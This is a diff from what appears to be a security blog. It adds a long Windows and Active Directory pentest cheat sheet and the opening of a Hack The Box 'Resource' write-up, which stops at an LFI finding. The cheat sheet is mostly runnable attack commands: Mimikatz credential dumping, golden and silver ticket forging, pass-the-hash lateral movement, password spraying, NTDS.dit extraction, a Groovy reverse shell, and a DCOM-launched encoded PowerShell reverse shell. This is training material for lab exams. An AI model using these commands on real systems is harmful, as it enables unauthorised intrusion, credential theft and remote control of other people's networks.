-p --da + +#for privileged users +python3 windapsearch.py --dc-ip -u -p --privileged-users + +# gMSA (Group Managed Service Account) +netexec ldap dc01.domain.htb -u userprivilege -p password -k --gmsa +``` + +### Delegation Permissions | AD + +```powershell +# Find user accounts with delegation permissions in an Active Directory environment. +findDelegation.py domain/user:'password' -dc-ip dc01 -k +``` + +https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained + +https://snovvcrash.rocks/2022/03/06/abusing-kcd-without-protocol-transition.html + +### TGS | Ticket Granting Service + +```powershell +# for SPN (Service Principal Name) (Kerberos) +getST.py -dc-ip domain.htb -spn http/dc01.domain.htb -hashes :IP -impersonate administrator domain.htb/'user' -self + +# get a TGT as user$ +getTGT.py 'domain/user$' -hashes :ah9737 -dc-ip domain.htb +``` + +### Attack RBCD + +```powershell +# Resource-Based Constrained Delegation (RBCD) +rbcd.py 'domain.htb/user$' -hashes :2787gd8... -delegate-to 'user$' -delegate-from 'user1' -dc-ip dc01 -action 'write' -k -user-ldaps + +# Abuse Contrained and RCBD +getST.py domain.htb/user1:'pass' -spn browser/dc01.domain.htb -impersonate 'DC01$' + +``` + +### AS-REP Roasting + +```powershell +#As-rep-roasting +netexec ldap domain -u file.txt -p '' --asreproast asrp.txt + +``` + +### reGeorg + +```powershell +# Config proxychains to 127.0.0.1 1234 (create a tunnel priv for internal ports of target) +$ python reGeorgSocksProxy.py -p 1234 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp +``` + +### Socat + +```powershell +# Tunnel TCP +sudo socat -v TCP-LISTEN:135, fork, reuseaddr TCP:IP:PORT +``` + +### Password Spray + +```powershell +# password spray +netexec smb rebound.htb -u users -p '1GR8t@$$4u' --continue-on-success + +#Password Spray - we have a some user but just one password +crackmapexec ldap 10.10.10.12 -u file.txt -p pepito123 --kerberos --continue-on-succes + +crackmapexec smb IP/host -u users.txt -p 'pass' -d domain.htb --continue-on-success #use continue-on-success option if it's subnet + +proxychains -q /home/kali/go/bin/kerbrute passwordspray -d domain.htb users.txt password1 --dc 10.10.103.152 -vvv + +# Brute Force +kerbrute bruteuser -d domain.com jeffadmin password.txt + +kerbrute passwordspray -d domain.htb users.txt password1 +``` + +### Evil-Winrm + +```powershell +#login with user and password +sudo evil-winrm -i blazorized.htb -u RSA_4810 -p '(Ni7856Do9854Ki05Ng0005 #)' + +##Login with Hash +evil-winrm -i $IP -u user -H ntlmhash + +sudo evil-winrm -i blazorized.htb -u Administrator -H 'Ni7856Do9854Ki05Ng0005wa2e' + +# Loading files directly from kali +evil-winrm -i $IP -u user -p pass -s /opt/privsc/powershell +Bypass-4MSI +Invoke-Mimikatz.ps1 +Invoke-Mimikatz + +##evil-winrm commands +menu # to view commands +#There are several commands to run +#This is an example for running a binary +evil-winrm -i -u user -p pass -e /opt/privsc +Bypass-4MSI +menu +Invoke-Binary /opt/privsc/winPEASx64.exe + +#login with proxychains to tunnel priv +proxychains evil-winrm -i 127.0.0.1 -u 'simple' -p 'password' 2>/dev/null +``` + +### Impacket + +```powershell +smbclient.py [domain]/[user]:[password/password hash]@[Target IP Address] #we connect to the server rather than a share + +lookupsid.py [domain]/[user]:[password/password hash]@[Target IP Address] #User enumeration on target + +services.py [domain]/[user]:[Password/Password Hash]@[Target IP Address] [Action] #service enumeration + +secretsdump.py [domain]/[user]:[password/password hash]@[Target IP Address] #Dumping hashes on target + +GetUserSPNs.py [domain]/[user]:[password/password hash]@[Target IP Address] -dc-ip -request #Kerberoasting, and request option dumps TGS + +GetNPUsers.py test.local/ -dc-ip -usersfile usernames.txt -format hashcat -outputfile hashes.txt #Asreproasting, need to provide usernames list + +GetNPUsers.py -usersfile users domain.htb/ -dc-ip 10.10.11.231 + +##RCE +psexec.py test.local/john:password123@10.10.10.1 +psexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 + +wmiexec.py test.local/john:password123@10.10.10.1 +wmiexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 + +smbexec.py test.local/john:password123@10.10.10.1 +smbexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 + +atexec.py test.local/john:password123@10.10.10.1 +atexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 + + +``` + +### NFS Enumeration + +```powershell +nmap -sV --script=nfs-showmount IP +showmount -e IP +``` + +### SNMP Enumeration + +```powershell +#Nmap UDP scan +sudo nmap -A -T4 -p- -sU -v -oN nmap-udpscan.txt + +snmpcheck -t -c public #Better version than snmpwalk as it displays more user friendly + +snmpwalk -c public -v1 -t 10 #Displays entire MIB tree, MIB Means Management Information Base +snmpwalk -c public -v1 1.3.6.1.4.1.77.1.2.25 #Windows User enumeration +snmpwalk -c public -v1 1.3.6.1.2.1.25.4.2.1.2 #Windows Processes enumeration +snmpwalk -c public -v1 1.3.6.1.2.1.25.6.3.1.2 #Installed software enumeraion +snmpwalk -c public -v1 1.3.6.1.2.1.6.13.1.3 #Opened TCP Ports + +#Windows MIB values +1.3.6.1.2.1.25.1.6.0 - System Processes +1.3.6.1.2.1.25.4.2.1.2 - Running Programs +1.3.6.1.2.1.25.4.2.1.4 - Processes Path +1.3.6.1.2.1.25.2.3.1.4 - Storage Units +1.3.6.1.2.1.25.6.3.1.2 - Software Name +1.3.6.1.4.1.77.1.2.25 - User Accounts +1.3.6.1.2.1.6.13.1.3 - TCP Local Ports +``` + +### RPC Enumeration + +```powershell +rpcclient -U=user $IP +rpcclient -U="" $IP #Anonymous login +##Commands within in RPCclient +srvinfo +enumdomusers #users +enumpriv #like "whoami /priv" +queryuser #detailed user info +getuserdompwinfo #password policy, get user-RID from previous command +lookupnames #SID of specified user +createdomuser #Creating a user +deletedomuser +enumdomains +enumdomgroups +querygroup #get rid from previous command +querydispinfo #description of all users +netshareenum #Share enumeration, this only comesup if the current user we're logged in has permissions +netshareenumall +lsaenumsid #SID of all users +``` + +- Tip: The user for get a shell, need to are in 'Remote Managament User' Group. + +### Mimikatz + +```powershell +# Dumps credentials from memory, using the Mimikatz module in PowerShell. +Invoke-Mimikatz -DumpCreds + +sekurlsa::pth /user: /domain: /ntlm: /run:: # Allows authentication using NTLM hashes, enabling lateral movement without knowing the password. + +sekurlsa::logonpasswords # Extracts plaintext passwords and hashes for logged-in users. + +privilege::debug + +token::elevate + +lsadump::sam +lsadump::sam SystemBkup.hiv SamBkup.hiv +lsadump::dcsync /domain:domain.htb /user:Administrator +lsadump::lsa /patch +``` +#### Mimikatz | CheatSheet + +```powershell +#general +privilege::debug +log +log customlogfilename.log + + +#sekurlsa +sekurlsa::logonpasswords +sekurlsa::logonPasswords full +sekurlsa::tickets /export +sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd + +#kerberos +kerberos::list /export +kerberos::ptt c:\chocolate.kirbi + +kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi + +.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt + +#crypto +crypto::capi +crypto::cng +crypto::certificates /export +crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE +crypto::keys /export +crypto::keys /machine /export + +#vault & lsadump +vault::cred +vault::list +token::elevate +vault::cred +vault::list +lsadump::sam +lsadump::secrets +lsadump::cache +token::revert +lsadump::dcsync /user:domain\krbtgt /domain:lab.local + +#pth +sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a +sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 +sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 +sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe + +#ekeys +sekurlsa::ekeys + +#dpapi +sekurlsa::dpapi + +#minidump +sekurlsa::minidump lsass.dmp + +#ptt +kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi + +#golden/silver +kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi +kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080 +kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi + +#tgt +kerberos::tgt + +#purge +kerberos::purge +``` + +### Groovy reverse-shell + +```bash +String host="localhost"; +int port=8044; +String cmd="cmd.exe"; +Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); +``` + +### Shadow Credentials (kerberos) + +```powershell +certipy shadow auto -username user@domain.htb -password 'pass' -k -account winrm_svc -target dc01.rebound.htb +``` + + +### Credential Delegation (Kerberos) + +```powershell +# https://github.com/antonioCoco/RemotePotato0 +.\RemotePotato0.exe -m 2 -s 1 -x ip -p port +``` + +### Ligolo-ng + +```powershell +#Creating interface and starting it. +sudo ip tuntap add user $(whoami) mode tun ligolo +sudo ip link set ligolo up + +#Kali machine - Attacker machine +./proxy -laddr 0.0.0.0:9001 -selfcert + +#windows or linux machine - compromised machine +agent.exe -connect :9001 -ignore-cert + +#In Ligolo-ng console +session #select host +ifconfig #Notedown the internal network's subnet +start #after adding relevent subnet to ligolo interface + +#Adding subnet to ligolo interface - Kali linux +sudo ip r add dev ligolo +``` + +### Windows Privilege Escalation + +`cd C:\ & findstr /SI /M "OS{" *.xml *.ini *.txt` - for finding files which contain OSCP flag.. +#### Manual Enumeration commands + +```powershell +#Groups we're part of +whoami /groups + +# lists everything we own. +whoami /all + +Get-Acl -Path # Displays the Access Control List (ACL) for files or directories, to check for misconfigurations or weak permissions. +Get-LocalGroupMember Administrators # Checks if the current user has admin privileges. +icacls # Similar to Get-Acl, lists permissions for files and folders +Invoke-BypassUAC # From PowerSploit; technique to bypass UAC (User Account Control), such as loading specific DLLs or using certain exploits. +# Networking + +Invoke-Command -ComputerName -ScriptBlock { commands } # Executes PowerShell commands on a remote machine. + +Enter-PSSession -ComputerName # Establishes an interactive session with a remote machine using PowerShell remoting. + +# Copy Files to Remote System + +Copy-Item -Path -Destination \\\C$\ # Copies files to a remote system’s administrative share (requires administrative privileges). + +#Starting, Restarting and Stopping services in Powershell +Start-Service +Stop-Service +Restart-Service + +#Powershell History +Get-History +(Get-PSReadlineOption).HistorySavePath #displays the path of consoleHost_history.txt +type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt + +#Viewing installed execuatbles +Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname +Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname + +#Process Information +Get-Process +Get-Process | Select ProcessName,Path + +#Sensitive info in XAMPP Directory +Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue +Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue #this for a specific user + +#Service Information +Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} +``` + +### Windows Directory + +```powershell +C:\windows\system32 # stores essential system binaries and lib +C:\windows\system32\drives # location for device drivers +C:\windows\system32\config # holds system config files, such as the registry hives +C:\Temp or C:\Windows\Temp # temporary files that are deleted upon reboot +C:\Recycle Bin # default location for deleted files +C:\windows\Installer # stores installation files and metadata +C:\windows\WinSxS # stores side-by-side assemblies and system components +C:\windows\Tasks # location for scheduled tasks +C:\windows\Prefetch # Contains preloaded application data +C:\windows\Inf # Contains setup information +C:\windows\Logs # stores various log files generated by the system components +C:\windows\assembly # location for global assembly cache +C:\windows\System #legacy directory on older windows v +C:\windows\Help +``` + +### Automated Scripts + +```bash +winpeas.exe +winpeas.bat +Jaws-enum.ps1 +powerup.ps1 +PrivescCheck.ps1 +``` + +### Token Impersonation + +- Command to check whoami /priv + +```powershell +#Printspoofer +PrintSpoofer.exe -i -c powershell.exe +PrintSpoofer.exe -c "nc.exe -e cmd" + +#RoguePotato +RoguePotato.exe -r -e "shell.exe" -l 9999 + +#GodPotato +GodPotato.exe -cmd "cmd /c whoami" +GodPotato.exe -cmd "shell.exe" + +#JuicyPotatoNG +JuicyPotatoNG.exe -t * -p "shell.exe" -a + +#SharpEfsPotato +SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log" +#writes whoami command to w.log file +``` + +--- + +# Post Exploitation + +> This is more windows specific as exam specific. + + + +## Sensitive Information + +### Powershell History + +```powershell +type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt + +#Example +type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt +``` + +### Searching for passwords + +```powershell +dir .s *pass* == *.config +findstr /si password *.xml *.ini *.txt +``` + +### Searching in Registry for Passwords + +```powershell +reg query HKLM /f password /t REG_SZ /s +reg query HKCU /f password /t REG_SZ /s +``` + + + +### KDBX Files + +```powershell +#These are KeyPassX password stored files +cmd> dir /s /b *.kdbx +Ps> Get-ChildItem -Recurse -Filter *.kdbx + +#Cracking +keepass2john Database.kdbx > keepasshash +john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash +``` + +## Dumping Hashes + +1. Use Mimikatz +2. If this is a domain joined machine, run BloodHound. + +--- + +# Active Directory Pentesting + + + +## Enumeration + +```bash +net localgroup Administrators #to check local admins +``` + +### Powerview + +```powershell +Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then change execution policy +Get-NetDomain #basic information about the domain +Get-NetUser #list of all users in the domain +# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for the output of above command. we can select any number of them seperated by comma. +Get-NetGroup # enumerate domain groups +Get-NetGroup "group name" # information from specific group +Get-NetComputer # enumerate the computer objects in the domain +Find-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain +Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info. +Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domain +Get-ObjectAcl -Identity # enumerates ACE(access control entities), lists SID(security identifier). ObjectSID +Convert-SidToName # converting SID/ObjSID to name + +# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname +Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights + +Find-DomainShare #find the shares in the domain + +Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts + +Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts +``` + +### Bloodhound + +- Collection methods - database + +```powershell +# Sharphound - transfer sharphound.ps1 into the compromised machine +Import-Module .\Sharphound.ps1 +Invoke-BloodHound -CollectionMethod All -OutputDirectory -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine + +# Bloodhound-Python +bloodhound-python -u 'uname' -p 'pass' -ns -d -c all #output will be saved in you kali machine +``` + +- Running Bloodhound + +```powershell +sudo neo4j console +# then upload the .json files obtained +``` + +### LDAPDOMAINDUMP + +- These files contains information in a well structured webpage format. + +```bash +sudo ldapdomaindump ldaps:// -u 'username' -p 'password' #Do this in a new folder +``` + +### PlumHound + +- Link: https://github.com/PlumHound/PlumHound install from the steps mentioned. +- Keep both Bloodhound and Neo4j running as this tool acquires information from them. + +```bash +sudo python3 plumhound.py --easy -p #Testing connection +python3 PlumHound.py -x tasks/default.tasks -p #Open index.html as once this command is completed it produces somany files +firefox index.html +``` + +### PingCastle + +- [www.pingcastle.com](https://www.pingcastle.com) - Download Zip file from here. +- This needs to be run on windows machine, just hit enter and give the domain to scan. +- It gives a report at end of scan. + +### PsLoggedon + +```powershell +# To see user logons at remote system of a domain(external tool) +.\PsLoggedon.exe \\ +``` + +### GPP or CPassword + +- Impacket + +```bash +# with a NULL session +Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER' + +# with cleartext credentials +Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER' + +# pass-the-hash (with an NT hash) +Get-GPPPassword.py -hashes :'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER' + +# parse a local file +Get-GPPPassword.py -xmlfile '/path/to/Policy.xml' 'LOCAL' +``` + +- SMB share - If SYSVOL share or any share which `domain` name as folder name + +```bash +#Download the whole share +https://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md +#Navigate to the downloaded folder +grep -inr "cpassword" +``` + +- Crackmapexec + +```bash +crackmapexec smb -u -p -d -M gpp_password +crackmapexec smb -u -H LMHash:NTLMHash -d -M gpp_password +``` + +- Decrypting the CPassword + +```bash +gpp-decrypt "cpassword" +``` + +## **Attacking Active Directory** + + + +### Zerologon + +- [Exploit](https://github.com/VoidSec/CVE-2020-1472) +- We can dump hashes on target even without any credentials. + +### Password Spraying + +```powershell +# Crackmapexec - check if the output shows 'Pwned!' +crackmapexec smb -u users.txt -p 'pass' -d --continue-on-success #use continue-on-success option if it's subnet + +# Kerbrute +kerbrute passwordspray -d corp.com .\usernames.txt "pass" +``` + +### AS-REP Roasting + +```powershell +impacket-GetNPUsers -dc-ip /: -request #this gives us the hash of AS-REP Roastable accounts, from kali linux +.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host + +hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes +``` + +### Kerberoasting + +```powershell +.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname + +impacket-GetUserSPNs -dc-ip /: -request #from kali machine + +hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes +``` + +### Silver Tickets + +- Obtaining hash of an SPN user using **Mimikatz** + +```powershell +privilege::debug +sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here +``` + +- Obtaining Domain SID + +```powershell +ps> whoami /user +# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain SID is "S-1-5-21-1987370270-658905905-1781884369" +``` + +- Forging silver ticket Ft **Mimikatz** + +```powershell +kerberos::golden /sid: /domain: /ptt /target: /service: /rc4: /user: +exit + +# we can check the tickets by, +ps> klist +``` + +- Accessing service + +```powershell +ps> iwr -UseDefaultCredentials :// +``` + +### Secretsdump + +```powershell +secretsdump.py /:@ +secretsdump.py uname@IP -hashes lmhash:ntlmhash #local user +secretsdump.py domain/uname@IP -hashes lmhash:ntlmhash #domain user +``` + +### Dumping NTDS.dit + +```bash +secretsdump.py /:@ -just-dc-ntlm +#use -just-dc-ntlm option with any of the secretsdump command to dump ntds.dit +``` + +## Lateral Movement in Active Directory + +### psexec - smbexec - wmiexec - atexec + +- Here we can pass the credentials or even hash, depending on what we have + +> *Always pass full hash to these tools!* +> + +```powershell +psexec.py /:@ +# the user should have write access to Admin share then only we can get sesssion + +psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 /@ +#we passed full hash here + +smbexec.py /:@ + +smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 /@ +#we passed full hash here + +wmiexec.py /:@ + +wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 /@ +#we passed full hash here + +atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 /@ +#we passed full hash here +``` + +### winrs + +```powershell +winrs -r: -u: -p: "command" +# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell +# run this on windows session +``` + +### crackmapexec + +- If stuck make use of [Wiki](https://www.crackmapexec.wiki/) + +```powershell +crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services +crackmapexec smb -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned" +crackmapexec smb -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out! +crackmapexec smb -u user.txt -p 'password' --continue-on-success #Password spraying, viceversa can also be done + +#Try --local-auth option if nothing comes up +crackmapexec smb -u 'user' -p 'password' --shares #lists all shares, provide creds if you have one +crackmapexec smb -u 'user' -p 'password' --disks +crackmapexec smb -u 'user' -p 'password' --users #we need to provide DC ip +crackmapexec smb -u 'user' -p 'password' --sessions #active logon sessions +crackmapexec smb -u 'user' -p 'password' --pass-pol #dumps password policy +crackmapexec smb -u 'user' -p 'password' --sam #SAM hashes +crackmapexec smb -u 'user' -p 'password' --lsa #dumping lsa secrets +crackmapexec smb -u 'user' -p 'password' --ntds #dumps NTDS.dit file +crackmapexec smb -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group. +crackmapexec smb -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command + +#Pass the hash +crackmapexec smb -u username -H --local-auth +#We can run all the above commands with hash and obtain more information + +#crackmapexec modules +crackmapexec smb -L #listing modules +crackmapexec smb -M mimikatx --options #shows the required options for the module +crackmapexec smb -u 'user' -p 'password' -M mimikatz #runs default command +crackmapexec smb -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M +``` + +- Crackmapexec database + +```bash +cmedb #to launch the console +help #run this command to view some others, running individual commands give infor on all the data till now we did. +``` + +### Pass the ticket + +```powershell +.\mimikatz.exe +sekurlsa::tickets /export +kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-.LOCAL.kirbi +klist +dir \\\admin$ +``` + +### DCOM + +```powershell +$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73")) + +$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7") + +$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A... +AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7") +``` + +### Golden Ticket + +1. Get the krbtgt hash + +```powershell +.\mimikatz.exe +privilege::debug +#below are some ways +lsadump::lsa /inject /name:krbtgt +lsadump::lsa /patch +lsadump::dcsync /user:krbtgt + +kerberos::purge #removes any exisiting tickets + +#sample command +kerberos::golden /user:sathvik /domain:evilcorp.com /sid:S-1-5-21-510558963-1698214355-4094250843 /krbtgt:4b4412bbe7b3a88f5b0537ac0d2bf296 /ticket:golden + +#Saved with name "golden" here, there are other options to check as well +``` + +1. Obtaining access! + +```powershell +mimikatz.exe #no need for highest privileges +kerberos::ptt golden +misc::cmd #we're accessing cmd +``` + +### Shadow Copies + +```powershell +vshadow.exe -nw -p C: +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak +reg.exe save hklm\system c:\system.bak +impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL +``` +--- + +## Tools + +```bash +[OSCP](https://github.com/0xsyr0/OSCP) +[CheatSheet](https://github.com/exfilt/CheatSheet) +``` diff --git a/_posts/2024-09-15-resource.md b/_posts/2024-09-15-resource.md new file mode 100644 index 0000000..b19d8a8 --- /dev/null +++ b/_posts/2024-09-15-resource.md @@ -0,0 +1,472 @@ +--- +title: HTB - Resource +date: 2024-08-23 00:00:00 +8000 +categories: [hackthebox ] +tags: [HackTheBox, LFI, RCE, Lateral Movement] +image: + path: /assets/img/post/resource/Resource.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Resource. +--- + +## Box Info + +| Name | Resource | +| :-------------------- | ---------------: | +| Release Date | 3 Sep, 2024 | +| OS | Linux | +| Rated Difficulty | Medium | + +# Enumeration Exposed Services + +ping -c 3 10.10.11.27 + +![Image](../assets/img/post/resource/image.png) + +target OS : Linux + +## Nmap + +```bash +sudo nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn 10.10.11.27 -oG allports +``` + +```bash +Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 17:44 EDT +Initiating SYN Stealth Scan at 17:44 +Scanning 10.10.11.27 [65535 ports] +Discovered open port 80/tcp on 10.10.11.27 +Discovered open port 22/tcp on 10.10.11.27 +Discovered open port 2222/tcp on 10.10.11.27 +Completed SYN Stealth Scan at 17:44, 13.29s elapsed (65535 total ports) +Nmap scan report for 10.10.11.27 +Host is up, received user-set (0.15s latency). +Scanned at 2024-09-17 17:44:44 EDT for 13s +Not shown: 65532 closed tcp ports (reset) +PORT STATE SERVICE REASON +22/tcp open ssh syn-ack ttl 62 +80/tcp open http syn-ack ttl 63 +2222/tcp open EtherNetIP-1 syn-ack ttl 63 + +Read data files from: /usr/bin/../share/nmap +Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds + Raw packets sent: 65595 (2.886MB) | Rcvd: 65595 (2.624MB +nmap -sCV -p 22,80,2222 10.10.11.27 -oN targeted + +# Nmap 7.94SVN scan initiated Tue Sep 17 17:45:51 2024 as: nmap -sCV -p 22,80,2222 -oN targeted 10.10.11.27 +Nmap scan report for 10.10.11.27 (10.10.11.27) +Host is up (0.088s latency). + +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) +| ssh-hostkey: +| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA) +|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519) +80/tcp open http nginx 1.18.0 (Ubuntu) +|_http-title: Did not follow redirect to http://itrc.ssg.htb/ +|_http-server-header: nginx/1.18.0 (Ubuntu) +2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA) +|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519) +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel +``` + +**Host file:** + +```bash +❯ echo "10.10.11.27 itrc.ssh.htb" | sudo tee /etc/hosts +10.10.11.27 itrc.ssh.htb +``` + +# Enumeration Of Web Services + +**Whatweb:** + +![Image](../assets/img/post/resource/image-1.png) + +**php 8.1.29 version** + +**Web:** + +![Image](../assets/img/post/resource/image-2.png) + +**Register and login** + +![Image](../assets/img/post/resource/image-3.png) + +When i create a empty file with extension zip and upload, display a error. + +![Image](../assets/img/post/resource/image-4.png) + +## Parameter Enumerartion + +```bash +ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://itrc.ssg.htb/index.php?page=FUZZ' -fs 3120 +``` + + + +![Image](../assets/img/post/resource/image-5.png) + + +![Image](../assets/img/post/resource/image-6.png) + +Possible user? + +`zzinter` + +![Image](../assets/img/post/resource/image-7.png) + +## LFI - Local File Inclusion + +Back to the error that we got upload empty file. + +```bash +**Deprecated**: ZipArchive::open(): Using empty file as ZipArchive is deprecated in **/var/www/itrc/savefile.inc.php** on line **38** + +**Warning**: hash_file(/tmp/phpXqBGtj): Failed to open stream: No such file or directory in **/var/www/itrc/savefile.inc.php** on line **48** + +**Warning**: Cannot modify header information - headers already sent by (output started at /var/www/itrc/savefile.inc.php:38) in **/var/www/itrc/api/create_ticket.php** on line **31** +``` + +- ZipArchive::open() + +- hash_file + +# Identification and exploitation of vulnerabilities + +`/var/www/itrc/api/create_ticket.php` + +```bash +http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket +``` + +[wrappers](https://www.php.net/manual/en/wrappers.phar.php) + 